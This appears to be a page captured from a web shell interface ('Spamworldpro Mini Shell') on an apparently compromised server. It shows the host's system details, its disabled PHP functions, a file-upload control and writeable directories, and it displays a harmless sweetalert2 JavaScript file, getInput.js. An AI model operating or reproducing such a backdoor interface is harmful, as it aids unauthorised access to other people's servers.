Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/frontend/node_modules/sweetalert2/src/instanceMethods/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/frontend/node_modules/sweetalert2/src/instanceMethods/getInput.js
import * as dom from '../utils/dom/index'
import { swalClasses } from '../utils/classes'
import privateProps from '../privateProps'

// Get input element by specified type or, if type isn't specified, by params.input
export function getInput (inputType) {
  const innerParams = privateProps.innerParams.get(this)
  const domCache = privateProps.domCache.get(this)
  inputType = inputType || innerParams.input
  if (!inputType) {
    return null
  }
  switch (inputType) {
    case 'select':
    case 'textarea':
    case 'file':
      return dom.getChildByClass(domCache.content, swalClasses[inputType])
    case 'checkbox':
      return domCache.popup.querySelector(`.${swalClasses.checkbox} input`)
    case 'radio':
      return domCache.popup.querySelector(`.${swalClasses.radio} input:checked`) ||
        domCache.popup.querySelector(`.${swalClasses.radio} input:first-child`)
    case 'range':
      return domCache.popup.querySelector(`.${swalClasses.range} input`)
    default:
      return dom.getChildByClass(domCache.content, swalClasses.input)
  }
}

Spamworldpro Mini